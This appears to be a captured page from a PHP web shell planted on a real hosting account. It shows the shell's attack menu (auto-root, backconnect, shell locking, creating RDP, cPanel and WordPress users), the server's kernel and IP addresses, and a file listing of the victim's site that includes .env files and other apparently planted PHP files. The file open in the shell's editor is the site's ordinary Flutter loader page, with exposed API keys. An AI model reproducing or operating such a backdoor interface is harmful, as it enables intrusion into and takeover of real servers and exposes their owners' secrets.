Linux clientvps21.redlake.in 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
LiteSpeed
: 95.216.48.241 | : 216.73.216.125
14 Domain
8.1.34
mydemowebs
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
mydemowebs /
.trash /
[ HOME SHELL ]
Name
Size
Permission
Action
.idea
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
.well-known.1
[ DIR ]
drwxr-xr-x
.well-known.10
[ DIR ]
drwxr-xr-x
.well-known.11
[ DIR ]
drwxr-xr-x
.well-known.12
[ DIR ]
drwxr-xr-x
.well-known.13
[ DIR ]
drwxr-xr-x
.well-known.14
[ DIR ]
drwxr-xr-x
.well-known.15
[ DIR ]
drwxr-xr-x
.well-known.16
[ DIR ]
drwxr-xr-x
.well-known.17
[ DIR ]
drwxr-xr-x
.well-known.18
[ DIR ]
drwxr-xr-x
.well-known.19
[ DIR ]
drwxr-xr-x
.well-known.2
[ DIR ]
drwxr-xr-x
.well-known.20
[ DIR ]
drwxr-xr-x
.well-known.21
[ DIR ]
drwxr-xr-x
.well-known.22
[ DIR ]
drwxr-xr-x
.well-known.23
[ DIR ]
drwxr-xr-x
.well-known.24
[ DIR ]
drwxr-xr-x
.well-known.25
[ DIR ]
drwxr-xr-x
.well-known.26
[ DIR ]
drwxr-xr-x
.well-known.27
[ DIR ]
drwxr-xr-x
.well-known.28
[ DIR ]
drwxr-xr-x
.well-known.29
[ DIR ]
drwxr-xr-x
.well-known.3
[ DIR ]
drwxr-xr-x
.well-known.30
[ DIR ]
drwxr-xr-x
.well-known.31
[ DIR ]
drwxr-xr-x
.well-known.32
[ DIR ]
drwxr-xr-x
.well-known.33
[ DIR ]
drwxr-xr-x
.well-known.34
[ DIR ]
drwxr-xr-x
.well-known.35
[ DIR ]
drwxr-xr-x
.well-known.36
[ DIR ]
drwxr-xr-x
.well-known.37
[ DIR ]
drwxr-xr-x
.well-known.38
[ DIR ]
drwxr-xr-x
.well-known.39
[ DIR ]
drwxr-xr-x
.well-known.4
[ DIR ]
drwxr-xr-x
.well-known.40
[ DIR ]
drwxr-xr-x
.well-known.41
[ DIR ]
drwxr-xr-x
.well-known.42
[ DIR ]
drwxr-xr-x
.well-known.5
[ DIR ]
drwxr-xr-x
.well-known.6
[ DIR ]
drwxr-xr-x
.well-known.7
[ DIR ]
drwxr-xr-x
.well-known.8
[ DIR ]
drwxr-xr-x
.well-known.9
[ DIR ]
drwxr-xr-x
Api
[ DIR ]
drwxr-xr-x
Modules
[ DIR ]
drwxr-xr-x
app
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxrwxrwx
assets.1
[ DIR ]
drwxrwxrwx
bootstrap
[ DIR ]
drwxr-xr-x
canvaskit
[ DIR ]
drwxrwxrwx
cgi-bin
[ DIR ]
drwxr-xr-x
cgi-bin.1
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
cr.mydemowebs.in
[ DIR ]
drwxr-x---
css
[ DIR ]
drwxrwxrwx
database
[ DIR ]
drwxr-xr-x
icons
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
installation
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxrwxrwx
public
[ DIR ]
drwxr-xr-x
quotation
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
routes
[ DIR ]
drwxr-xr-x
storage
[ DIR ]
drwxr-xr-x
storage.1
[ DIR ]
drwxr-xr-x
storage.2
[ DIR ]
drwxr-xr-x
storage.3
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
vendor.1
[ DIR ]
drwxrwxrwx
.DS_Store
14
KB
-rwxr-xr-x
.editorconfig
220
B
-rwxr-xr-x
.env
1.11
KB
-rwxr-xr-x
.env.1
1.27
KB
-rw-r--r--
.env.example
1.11
KB
-rwxr-xr-x
.gitattributes
111
B
-rwxr-xr-x
.gitignore
280
B
-rwxr-xr-x
.htaccess
748
B
-rwxr-xr-x
.htaccess.1
254
B
-rw-rw-rw-
.last_build_id
32
B
-rw-rw-rw-
.rnd
1
KB
-rwxr-xr-x
.styleci.yml
181
B
-rwxr-xr-x
.trash_restore
17.98
KB
-rw-------
2025_12_24_132410_create_subsc...
834
B
-rw-r--r--
2026_01_02_112859_create_activ...
1.1
KB
-rw-r--r--
2026_01_02_112859_create_activ...
1.1
KB
-rw-r--r--
2026_01_12_131739_create_inspe...
868
B
-rw-r--r--
2026_01_12_134925_add_group_id...
690
B
-rw-r--r--
2026_01_23_125851_create_sell_...
1.08
KB
-rw-r--r--
2026_01_23_133453_create_order...
945
B
-rw-r--r--
2026_03_09_094905_add_discount...
593
B
-rw-r--r--
Accessory-m.php
182
B
-rw-r--r--
Admin and web new install V16....
164.29
MB
-rw-r--r--
AuthController.php
6.29
KB
-rw-r--r--
QuestionsController.php
190
B
-rw-r--r--
README.md
4.35
KB
-rwxr-xr-x
SellOrder.php
696
B
-rw-r--r--
artisan
842
B
-rwxr-xr-x
assets.zip
19.73
MB
-rw-r--r--
blogs.blade.php
3.18
KB
-rw-r--r--
brouchers.blade.php
9.43
KB
-rw-r--r--
builder.blade.php
2.64
KB
-rw-r--r--
canvaskit.zip
20.92
MB
-rw-r--r--
certificates.blade.php
8.47
KB
-rw-r--r--
client_show.blade.php
9.22
KB
-rw-r--r--
clients.blade.php
8.38
KB
-rw-r--r--
clients.blade.php.1
3.48
KB
-rw-r--r--
composer.json
4.37
KB
-rwxr-xr-x
composer.lock
513.4
KB
-rwxr-xr-x
composer.phar
2.24
MB
-rwxr-xr-x
config.php
24.65
KB
-rw-r--r--
contact.blade.php
4.22
KB
-rw-r--r--
counter.blade.php
4.45
KB
-rw-r--r--
counters.blade.php
9.38
KB
-rw-r--r--
createblog.blade.php
3.47
KB
-rw-r--r--
createclient.blade.php
24.12
KB
-rw-r--r--
createinvoice.blade.php
5.04
KB
-rw-r--r--
createpage.blade.php
3.45
KB
-rw-r--r--
createportfolio.blade.php
4.44
KB
-rw-r--r--
createservice.blade.php
4.06
KB
-rw-r--r--
error_log
1.39
KB
-rw-r--r--
faqs.blade.php
7.82
KB
-rw-r--r--
favicon.png
35.96
KB
-rw-rw-rw-
features.blade.php
9.27
KB
-rw-r--r--
feedbacks.blade.php
10.41
KB
-rw-r--r--
files.blade.php
4.26
KB
-rw-r--r--
firebase-messaging-sw.js
1.37
KB
-rw-rw-rw-
flutter.js
9.19
KB
-rw-rw-rw-
flutter.zip
20.94
MB
-rw-r--r--
flutter.zip.1
20.9
MB
-rw-r--r--
flutter_bootstrap.js
9.51
KB
-rw-rw-rw-
flutter_service_worker.js
58.69
KB
-rw-rw-rw-
frontend_images.blade.php
2.99
KB
-rw-r--r--
gallery.blade.php
5.34
KB
-rw-r--r--
hot
21
B
-rw-r--r--
index.html
26.19
KB
-rw-rw-rw-
index.php
1.81
KB
-rwxr-xr-x
invoices.blade.php
3.52
KB
-rw-r--r--
laravel.log
74.22
MB
-rw-r--r--
logo.png
11.42
KB
-rw-rw-rw-
main.dart.js
6.36
MB
-rw-rw-rw-
managenavigation.blade.php
18.88
KB
-rw-r--r--
manageslider.blade.php
4.93
KB
-rw-r--r--
manifest.json
601
B
-rw-rw-rw-
modules_statuses.json
108
B
-rwxr-xr-x
moon.php
178.03
KB
-rw-r--r--
navigations.blade.php
2.29
KB
-rw-r--r--
package-lock.json
402.73
KB
-rwxr-xr-x
package.json
538
B
-rwxr-xr-x
packages.php
1.58
KB
-rwxr-xr-x
packages.php.1
1.58
KB
-rwxr-xr-x
packages.php.10
1.58
KB
-rwxr-xr-x
packages.php.11
1.58
KB
-rwxr-xr-x
packages.php.2
1.58
KB
-rwxr-xr-x
packages.php.3
1.58
KB
-rwxr-xr-x
packages.php.4
1.58
KB
-rwxr-xr-x
packages.php.5
1.58
KB
-rwxr-xr-x
packages.php.6
1.58
KB
-rwxr-xr-x
packages.php.7
1.58
KB
-rwxr-xr-x
packages.php.8
1.58
KB
-rwxr-xr-x
packages.php.9
1.58
KB
-rwxr-xr-x
pages.blade.php
3.34
KB
-rw-r--r--
phpunit.xml
1.17
KB
-rwxr-xr-x
portfolios.blade.php
3.69
KB
-rw-r--r--
priceboxs.blade.php
8.94
KB
-rw-r--r--
process.blade.php
10.1
KB
-rw-r--r--
pwd.php
123
B
-rw-r--r--
qc.zip
335.26
MB
-rw-r--r--
quotation.blade.php
3.6
KB
-rw-r--r--
routes-v7.php
227.38
KB
-rw-r--r--
routes-v7.php.1
312.69
KB
-rw-r--r--
routes-v7.php.2
372.71
KB
-rw-r--r--
routes-v7.php.3
327.98
KB
-rw-r--r--
routes-v7.php.4
345.37
KB
-rw-r--r--
script.sh
249
B
-rwxr-xr-x
sections.blade.php
3.1
KB
-rw-r--r--
seo.blade.php
3.12
KB
-rw-r--r--
server.php
563
B
-rwxr-xr-x
services.blade.php
5.02
KB
-rw-r--r--
services.php
20.07
KB
-rwxr-xr-x
services.php.1
20.07
KB
-rwxr-xr-x
services.php.10
20.07
KB
-rwxr-xr-x
services.php.11
20.07
KB
-rwxr-xr-x
services.php.2
20.07
KB
-rwxr-xr-x
services.php.3
20.07
KB
-rwxr-xr-x
services.php.4
20.07
KB
-rwxr-xr-x
services.php.5
20.07
KB
-rwxr-xr-x
services.php.6
20.07
KB
-rwxr-xr-x
services.php.7
20.07
KB
-rwxr-xr-x
services.php.8
20.07
KB
-rwxr-xr-x
services.php.9
20.07
KB
-rwxr-xr-x
slick.zip
3.42
MB
-rw-r--r--
sliders.blade.php
2.45
KB
-rw-r--r--
style.css
3.45
KB
-rw-rw-rw-
trn.php
723
B
-rw-r--r--
tron.zip
481
B
-rw-r--r--
updateblog.blade.php
3.88
KB
-rw-r--r--
updatepage.blade.php
3.85
KB
-rw-r--r--
updateportfolio.blade.php
4.99
KB
-rw-r--r--
updateservice.blade.php
4.53
KB
-rw-r--r--
uploadseo.blade.php
4.08
KB
-rw-r--r--
user
4.3
KB
-rw-r--r--
version.json
90
B
-rw-rw-rw-
videocategories.blade.php
7.16
KB
-rw-r--r--
videos.blade.php
8.78
KB
-rw-r--r--
vite-module-loader.js
1.59
KB
-rwxr-xr-x
webpack.mix.js
559
B
-rwxr-xr-x
wsd.php
38.94
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.html
<!DOCTYPE html> <html> <head> <base href="/"> <meta charset="UTF-8"> <meta content="IE=Edge" http-equiv="X-UA-Compatible"> <meta name="description" content="A Multi-vendor Food. Grocery, eCommerce, Pharmacy & Parcel service."> <!--<meta name="robots" content="nofollow, noindex, max-snippet:1, max-video-preview:1, max-image-preview:standard">--> <!-- iOS meta tags & icons --> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <meta name="apple-mobile-web-app-title" content="StackFood"> <link rel="apple-touch-icon" href="icons/Icon-192.png"> <!-- Favicon --> <link rel="icon" type="image/png" href="favicon.png"/> <meta name="google-signin-client_id" content="491987943015-agln6biv84krpnngdphj87jkko7r9lb8.apps.googleusercontent.com"> <script type="text/javascript" src="https://appleid.cdn-apple.com/appleauth/static/jsapi/appleid/1/en_US/appleid.auth.js"></script> <title>6amMart</title> <link rel="manifest" href="manifest.json"> <link rel="stylesheet" type="text/css" href="style.css"> <script type="application/javascript" src="/assets/packages/flutter_inappwebview_web/assets/web/web_support.js" defer></script> <!--<link rel="canonical" href="https://6ammart-web.6amtech.com/" />--> <script> // The value below is injected by flutter build, do not touch. var serviceWorkerVersion = "1383575947"; </script> <!-- This script adds the flutter initialization JS code --> <script src="flutter.js?version=3.5.0" defer></script> </head> <body> <!-- This script installs service_worker.js to provide PWA functionality to application. For more information, see: https://developers.google.com/web/fundamentals/primers/service-workers --> <script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyASMHrQLc8RetsnqmpxyztnYW8LJ2jhjpU"></script> <!-- <script async defer crossorigin="anonymous" src="https://connect.facebook.net/en_US/sdk.js"></script>--> <script src="https://www.gstatic.com/firebasejs/8.10.1/firebase-app.js"></script> <script src="https://www.gstatic.com/firebasejs/8.10.1/firebase-messaging.js"></script> <!-- <div class="center">--> <!-- <img src="logo.png" alt = "logo" width="300px" />--> <!-- <br>--> <!-- <div class="loader" style="width:300px;text-align: center;"><div class="continuous-4"></div></div>--> <!-- </div>--> <div class="preloader"> <div class="preloader-container"> <img width="50" class="preloader-img" src="favicon.png" alt=""> <div class="loader"></div> </div> </div> <header class="header"> <div class="header-container d-flex align-items-center justify-content-between"> <div class="header-start d-flex gap-5 align-items-center"> <img class="logo" src="logo.png" alt=""> <div class="placeholder placeholder-wide"></div> <div class="placeholder"></div> <div class="placeholder"></div> <div class="placeholder"></div> </div> <div class="header-end d-flex gap-5"> <div class="placeholder"></div> <div class="placeholder"></div> <div class="placeholder"></div> </div> </div> </header> <!-- Script Goes Here --> <script> // Check if localStorage is supported in the browser if (typeof(Storage) !== "undefined") { // Get the item from localStorage var itemValue = localStorage.getItem("flutter.6ammart_theme"); // Check if the item exists if (itemValue !== null) { // Check the value of the item if (itemValue === "true") { // If the value is "true", add a class to the body document.body.classList.add("theme-dark"); } else { // If the value is not "true", remove the class from the body document.body.classList.remove("theme-light"); } } else { console.log("Item not found in localStorage"); } } else { console.log("localStorage is not supported in this browser"); } </script> <script> document.querySelectorAll("img.svg").forEach(function (img) { var imgID = img.getAttribute("id"); var imgClass = img.getAttribute("class"); var imgURL = img.getAttribute("src"); // Create a new XMLHttpRequest var xhr = new XMLHttpRequest(); xhr.open("GET", imgURL, true); // Set the responseType to "document" to parse the response as an XML document xhr.responseType = "document"; xhr.onload = function () { if (xhr.status === 200) { var data = xhr.response; // Get the SVG tag from the response, ignore the rest var svg = data.querySelector("svg"); // Add replaced image's ID to the new SVG if (typeof imgID !== "undefined") { svg.setAttribute("id", imgID); } // Add replaced image's classes to the new SVG if (typeof imgClass !== "undefined") { svg.setAttribute("class", imgClass + " replaced-svg"); } // Remove any invalid XML tags svg.removeAttribute("xmlns:a"); // Check if the viewport is set; set it if not if (!svg.getAttribute("viewBox") && svg.getAttribute("height") && svg.getAttribute("width")) { svg.setAttribute("viewBox", "0 0 " + svg.getAttribute("height") + " " + svg.getAttribute("width")); } // Replace the image with the new SVG img.parentNode.replaceChild(svg, img); } }; xhr.send(); }); </script> <!-- <script>--> <!-- (()=>{var _={blink:!0,gecko:!1,webkit:!1,unknown:!1},K=()=>navigator.vendor==="Google Inc."||navigator.userAgent.includes("Edg/")?"blink":navigator.vendor==="Apple Computer, Inc."?"webkit":navigator.vendor===""&&navigator.userAgent.includes("Firefox")?"gecko":"unknown",L=K(),R=()=>typeof ImageDecoder>"u"?!1:L==="blink",B=()=>typeof Intl.v8BreakIterator<"u"&&typeof Intl.Segmenter<"u",z=()=>{let i=[0,97,115,109,1,0,0,0,1,5,1,95,1,120,0];return WebAssembly.validate(new Uint8Array(i))},M=()=>{let i=document.createElement("canvas");return i.width=1,i.height=1,i.getContext("webgl2")!=null?2:i.getContext("webgl")!=null?1:-1},w={browserEngine:L,hasImageCodecs:R(),hasChromiumBreakIterators:B(),supportsWasmGC:z(),crossOriginIsolated:window.crossOriginIsolated,webGLVersion:M()};function c(...i){return new URL(I(...i),document.baseURI).toString()}function I(...i){return i.filter(e=>!!e).map((e,r)=>r===0?C(e):D(C(e))).filter(e=>e.length).join("/")}function D(i){let e=0;for(;e<i.length&&i.charAt(e)==="/";)e++;return i.substring(e)}function C(i){let e=i.length;for(;e>0&&i.charAt(e-1)==="/";)e--;return i.substring(0,e)}function T(i,e){return i.canvasKitBaseUrl?i.canvasKitBaseUrl:e.engineRevision&&!e.useLocalCanvasKit?I("https://www.gstatic.com/flutter-canvaskit",e.engineRevision):"canvaskit"}var h=class{constructor(){this._scriptLoaded=!1}setTrustedTypesPolicy(e){this._ttPolicy=e}async loadEntrypoint(e){let{entrypointUrl:r=c("main.dart.js"),onEntrypointLoaded:t,nonce:n}=e||{};return this._loadJSEntrypoint(r,t,n)}async load(e,r,t,n,s){s??=d=>{d.initializeEngine(t).then(u=>u.runApp())};let{entrypointBaseUrl:a}=t,{entryPointBaseUrl:o}=t;if(!a&&o&&(console.warn("[deprecated] `entryPointBaseUrl` is deprecated and will be removed in a future release. Use `entrypointBaseUrl` instead."),a=o),e.compileTarget==="dart2wasm")return this._loadWasmEntrypoint(e,r,a,s);{let d=e.mainJsPath??"main.dart.js",u=c(a,d);return this._loadJSEntrypoint(u,s,n)}}didCreateEngineInitializer(e){typeof this._didCreateEngineInitializerResolve=="function"&&(this._didCreateEngineInitializerResolve(e),this._didCreateEngineInitializerResolve=null,delete _flutter.loader.didCreateEngineInitializer),typeof this._onEntrypointLoaded=="function"&&this._onEntrypointLoaded(e)}_loadJSEntrypoint(e,r,t){let n=typeof r=="function";if(!this._scriptLoaded){this._scriptLoaded=!0;let s=this._createScriptTag(e,t);if(n)console.debug("Injecting <script> tag. Using callback."),this._onEntrypointLoaded=r,document.head.append(s);else return new Promise((a,o)=>{console.debug("Injecting <script> tag. Using Promises. Use the callback approach instead!"),this._didCreateEngineInitializerResolve=a,s.addEventListener("error",o),document.head.append(s)})}}async _loadWasmEntrypoint(e,r,t,n){if(!this._scriptLoaded){this._scriptLoaded=!0,this._onEntrypointLoaded=n;let{mainWasmPath:s,jsSupportRuntimePath:a}=e,o=c(t,s),d=c(t,a);this._ttPolicy!=null&&(d=this._ttPolicy.createScriptURL(d));let l=(await import(d)).compileStreaming(fetch(o)),p;e.renderer==="skwasm"?p=(async()=>{let v=await r.skwasm;return window._flutter_skwasmInstance=v,{skwasm:v.wasmExports,skwasmWrapper:v,ffi:{memory:v.wasmMemory}}})():p=Promise.resolve({}),await(await(await l).instantiate(await p,{loadDynamicModule:async(v,j)=>{let x=fetch(c(t,v)),S=c(t,j);this._ttPolicy!=null&&(S=this._ttPolicy.createScriptURL(S));let A=import(S);return[await x,await A]}})).invokeMain()}}_createScriptTag(e,r){let t=document.createElement("script");t.type="application/javascript",r&&(t.nonce=r);let n=e;return this._ttPolicy!=null&&(n=this._ttPolicy.createScriptURL(e)),t.src=n,t}};async function U(i,e,r){if(e<0)return i;let t,n=new Promise((s,a)=>{t=setTimeout(()=>{a(new Error(`${r} took more than ${e}ms to resolve. Moving on.`,{cause:U}))},e)});return Promise.race([i,n]).finally(()=>{clearTimeout(t)})}var g=class{setTrustedTypesPolicy(e){this._ttPolicy=e}loadServiceWorker(e){if(!e)return console.debug("Null serviceWorker configuration. Skipping."),Promise.resolve();if(!("serviceWorker"in navigator)){let o="Service Worker API unavailable.";return window.isSecureContext||(o+=` The current context is NOT secure.`,o+=` Read more: https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts`),Promise.reject(new Error(o))}let{serviceWorkerVersion:r,serviceWorkerUrl:t=c(`flutter_service_worker.js?v=${r}`),timeoutMillis:n=4e3}=e,s=t;this._ttPolicy!=null&&(s=this._ttPolicy.createScriptURL(s));let a=navigator.serviceWorker.register(s).then(o=>this._getNewServiceWorker(o,r)).then(this._waitForServiceWorkerActivation);return U(a,n,"prepareServiceWorker")}async _getNewServiceWorker(e,r){if(!e.active&&(e.installing||e.waiting))return console.debug("Installing/Activating first service worker."),e.installing||e.waiting;if(e.active.scriptURL.endsWith(r))return console.debug("Loading from existing service worker."),e.active;{let t=await e.update();return console.debug("Updating service worker."),t.installing||t.waiting||t.active}}async _waitForServiceWorkerActivation(e){if(!e||e.state==="activated")if(e){console.debug("Service worker already active.");return}else throw new Error("Cannot activate a null service worker!");return new Promise((r,t)=>{e.addEventListener("statechange",()=>{e.state==="activated"&&(console.debug("Activated new service worker."),r())})})}};var y=class{constructor(e,r="flutter-js"){let t=e||[/\.js$/,/\.mjs$/];window.trustedTypes&&(this.policy=trustedTypes.createPolicy(r,{createScriptURL:function(n){if(n.startsWith("blob:"))return n;let s=new URL(n,window.location),a=s.pathname.split("/").pop();if(t.some(d=>d.test(a)))return s.toString();console.error("URL rejected by TrustedTypes policy",r,":",n,"(download prevented)")}}))}};var k=i=>{let e=WebAssembly.compileStreaming(fetch(i));return(r,t)=>((async()=>{let n=await e,s=await WebAssembly.instantiate(n,r);t(s,n)})(),{})};var E=(i,e,r,t)=>(window.flutterCanvasKitLoaded=(async()=>{if(window.flutterCanvasKit)return window.flutterCanvasKit;let n=r.hasChromiumBreakIterators&&r.hasImageCodecs;if(!n&&e.canvasKitVariant=="chromium")throw"Chromium CanvasKit variant specifically requested, but unsupported in this browser";let s=n&&e.canvasKitVariant!=="full",a=t;e.canvasKitVariant=="experimentalWebParagraph"?a=c(a,"experimental_webparagraph"):s&&(a=c(a,"chromium"));let o=c(a,"canvaskit.js");i.flutterTT.policy&&(o=i.flutterTT.policy.createScriptURL(o));let d=k(c(a,"canvaskit.wasm")),u=await import(o);return window.flutterCanvasKit=await u.default({instantiateWasm:d}),window.flutterCanvasKit})(),window.flutterCanvasKitLoaded);var W=async(i,e,r,t)=>{let s=!r.hasImageCodecs||!r.hasChromiumBreakIterators?"skwasm_heavy":"skwasm",a=c(t,`${s}.js`),o=a;i.flutterTT.policy&&(o=i.flutterTT.policy.createScriptURL(o));let d=k(c(t,`${s}.wasm`));return await(await import(o)).default({skwasmSingleThreaded:!r.crossOriginIsolated||e.forceSingleThreadedSkwasm,instantiateWasm:d,locateFile:(l,p)=>{if(l.endsWith(".ww.js")){let f=c(t,l);return URL.createObjectURL(new Blob([` "use strict"; let eventListener; eventListener = (message) => { const pendingMessages = []; const data = message.data; data["instantiateWasm"] = (info,receiveInstance) => { const instance = new WebAssembly.Instance(data["wasm"], info); return receiveInstance(instance, data["wasm"]) }; import(data.js).then(async (skwasm) => { await skwasm.default(data); removeEventListener("message", eventListener); for (const message of pendingMessages) { dispatchEvent(message); } }); removeEventListener("message", eventListener); eventListener = (message) => { pendingMessages.push(message); }; addEventListener("message", eventListener); }; addEventListener("message", eventListener); `],{type:"application/javascript"}))}return url},mainScriptUrlOrBlob:a})};var P=w.supportsWasmGC,G=P&&w.webGLVersion>0,b=class{async loadEntrypoint(e){let{serviceWorker:r,...t}=e||{},n=new y,s=new g;s.setTrustedTypesPolicy(n.policy),await s.loadServiceWorker(r).catch(o=>{console.warn("Exception while loading service worker:",o)});let a=new h;return a.setTrustedTypesPolicy(n.policy),this.didCreateEngineInitializer=a.didCreateEngineInitializer.bind(a),a.loadEntrypoint(t)}async load({serviceWorkerSettings:e,onEntrypointLoaded:r,nonce:t,config:n}={}){n??={};let s=_flutter.buildConfig;if(!s)throw"FlutterLoader.load requires _flutter.buildConfig to be set";let a=n.wasmAllowList?.[w.browserEngine]??_[w.browserEngine],o=m=>{switch(m){case"skwasm":return G&&a;default:return!0}},d=m=>m.compileTarget==="dart2wasm"&&!P||n.renderer&&n.renderer!=m.renderer?!1:o(m.renderer),u=s.builds.find(d);if(!u)throw"FlutterLoader could not find a build compatible with configuration and environment.";let l={};l.flutterTT=new y,e&&(l.serviceWorkerLoader=new g,l.serviceWorkerLoader.setTrustedTypesPolicy(l.flutterTT.policy),await l.serviceWorkerLoader.loadServiceWorker(e).catch(m=>{console.warn("Exception while loading service worker:",m)}));let p=T(n,s);u.renderer==="canvaskit"?l.canvasKit=E(l,n,w,p):u.renderer==="skwasm"&&(l.skwasm=W(l,n,w,p));let f=new h;return f.setTrustedTypesPolicy(l.flutterTT.policy),this.didCreateEngineInitializer=f.didCreateEngineInitializer.bind(f),f.load(u,l,n,t,r)}};window._flutter||(window._flutter={});window._flutter.loader||(window._flutter.loader=new b);})(); //# sourceMappingURL=flutter.js.map if (!window._flutter) { window._flutter = {}; } _flutter.buildConfig = {"engineRevision":"1527ae0ec577a4ef50e65f6fefcfc1326707d9bf","builds":[{"compileTarget":"dart2js","renderer":"canvaskit","mainJsPath":"main.dart.js"},{}]}; _flutter.loader.load({ serviceWorkerSettings: { serviceWorkerVersion: "1383575947" } }); --> <!-- </script>--> <script> window.addEventListener('load', function(ev) { (()=>{var _={blink:!0,gecko:!1,webkit:!1,unknown:!1},K=()=>navigator.vendor==="Google Inc."||navigator.userAgent.includes("Edg/")?"blink":navigator.vendor==="Apple Computer, Inc."?"webkit":navigator.vendor===""&&navigator.userAgent.includes("Firefox")?"gecko":"unknown",L=K(),R=()=>typeof ImageDecoder>"u"?!1:L==="blink",B=()=>typeof Intl.v8BreakIterator<"u"&&typeof Intl.Segmenter<"u",z=()=>{let i=[0,97,115,109,1,0,0,0,1,5,1,95,1,120,0];return WebAssembly.validate(new Uint8Array(i))},M=()=>{let i=document.createElement("canvas");return i.width=1,i.height=1,i.getContext("webgl2")!=null?2:i.getContext("webgl")!=null?1:-1},w={browserEngine:L,hasImageCodecs:R(),hasChromiumBreakIterators:B(),supportsWasmGC:z(),crossOriginIsolated:window.crossOriginIsolated,webGLVersion:M()};function c(...i){return new URL(I(...i),document.baseURI).toString()}function I(...i){return i.filter(e=>!!e).map((e,r)=>r===0?C(e):D(C(e))).filter(e=>e.length).join("/")}function D(i){let e=0;for(;e<i.length&&i.charAt(e)==="/";)e++;return i.substring(e)}function C(i){let e=i.length;for(;e>0&&i.charAt(e-1)==="/";)e--;return i.substring(0,e)}function T(i,e){return i.canvasKitBaseUrl?i.canvasKitBaseUrl:e.engineRevision&&!e.useLocalCanvasKit?I("https://www.gstatic.com/flutter-canvaskit",e.engineRevision):"canvaskit"}var h=class{constructor(){this._scriptLoaded=!1}setTrustedTypesPolicy(e){this._ttPolicy=e}async loadEntrypoint(e){let{entrypointUrl:r=c("main.dart.js"),onEntrypointLoaded:t,nonce:n}=e||{};return this._loadJSEntrypoint(r,t,n)}async load(e,r,t,n,s){s??=d=>{d.initializeEngine(t).then(u=>u.runApp())};let{entrypointBaseUrl:a}=t,{entryPointBaseUrl:o}=t;if(!a&&o&&(console.warn("[deprecated] `entryPointBaseUrl` is deprecated and will be removed in a future release. Use `entrypointBaseUrl` instead."),a=o),e.compileTarget==="dart2wasm")return this._loadWasmEntrypoint(e,r,a,s);{let d=e.mainJsPath??"main.dart.js",u=c(a,d);return this._loadJSEntrypoint(u,s,n)}}didCreateEngineInitializer(e){typeof this._didCreateEngineInitializerResolve=="function"&&(this._didCreateEngineInitializerResolve(e),this._didCreateEngineInitializerResolve=null,delete _flutter.loader.didCreateEngineInitializer),typeof this._onEntrypointLoaded=="function"&&this._onEntrypointLoaded(e)}_loadJSEntrypoint(e,r,t){let n=typeof r=="function";if(!this._scriptLoaded){this._scriptLoaded=!0;let s=this._createScriptTag(e,t);if(n)console.debug("Injecting <script> tag. Using callback."),this._onEntrypointLoaded=r,document.head.append(s);else return new Promise((a,o)=>{console.debug("Injecting <script> tag. Using Promises. Use the callback approach instead!"),this._didCreateEngineInitializerResolve=a,s.addEventListener("error",o),document.head.append(s)})}}async _loadWasmEntrypoint(e,r,t,n){if(!this._scriptLoaded){this._scriptLoaded=!0,this._onEntrypointLoaded=n;let{mainWasmPath:s,jsSupportRuntimePath:a}=e,o=c(t,s),d=c(t,a);this._ttPolicy!=null&&(d=this._ttPolicy.createScriptURL(d));let l=(await import(d)).compileStreaming(fetch(o)),p;e.renderer==="skwasm"?p=(async()=>{let v=await r.skwasm;return window._flutter_skwasmInstance=v,{skwasm:v.wasmExports,skwasmWrapper:v,ffi:{memory:v.wasmMemory}}})():p=Promise.resolve({}),await(await(await l).instantiate(await p,{loadDynamicModule:async(v,j)=>{let x=fetch(c(t,v)),S=c(t,j);this._ttPolicy!=null&&(S=this._ttPolicy.createScriptURL(S));let A=import(S);return[await x,await A]}})).invokeMain()}}_createScriptTag(e,r){let t=document.createElement("script");t.type="application/javascript",r&&(t.nonce=r);let n=e;return this._ttPolicy!=null&&(n=this._ttPolicy.createScriptURL(e)),t.src=n,t}};async function U(i,e,r){if(e<0)return i;let t,n=new Promise((s,a)=>{t=setTimeout(()=>{a(new Error(`${r} took more than ${e}ms to resolve. Moving on.`,{cause:U}))},e)});return Promise.race([i,n]).finally(()=>{clearTimeout(t)})}var g=class{setTrustedTypesPolicy(e){this._ttPolicy=e}loadServiceWorker(e){if(!e)return console.debug("Null serviceWorker configuration. Skipping."),Promise.resolve();if(!("serviceWorker"in navigator)){let o="Service Worker API unavailable.";return window.isSecureContext||(o+=` The current context is NOT secure.`,o+=` Read more: https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts`),Promise.reject(new Error(o))}let{serviceWorkerVersion:r,serviceWorkerUrl:t=c(`flutter_service_worker.js?v=${r}`),timeoutMillis:n=4e3}=e,s=t;this._ttPolicy!=null&&(s=this._ttPolicy.createScriptURL(s));let a=navigator.serviceWorker.register(s).then(o=>this._getNewServiceWorker(o,r)).then(this._waitForServiceWorkerActivation);return U(a,n,"prepareServiceWorker")}async _getNewServiceWorker(e,r){if(!e.active&&(e.installing||e.waiting))return console.debug("Installing/Activating first service worker."),e.installing||e.waiting;if(e.active.scriptURL.endsWith(r))return console.debug("Loading from existing service worker."),e.active;{let t=await e.update();return console.debug("Updating service worker."),t.installing||t.waiting||t.active}}async _waitForServiceWorkerActivation(e){if(!e||e.state==="activated")if(e){console.debug("Service worker already active.");return}else throw new Error("Cannot activate a null service worker!");return new Promise((r,t)=>{e.addEventListener("statechange",()=>{e.state==="activated"&&(console.debug("Activated new service worker."),r())})})}};var y=class{constructor(e,r="flutter-js"){let 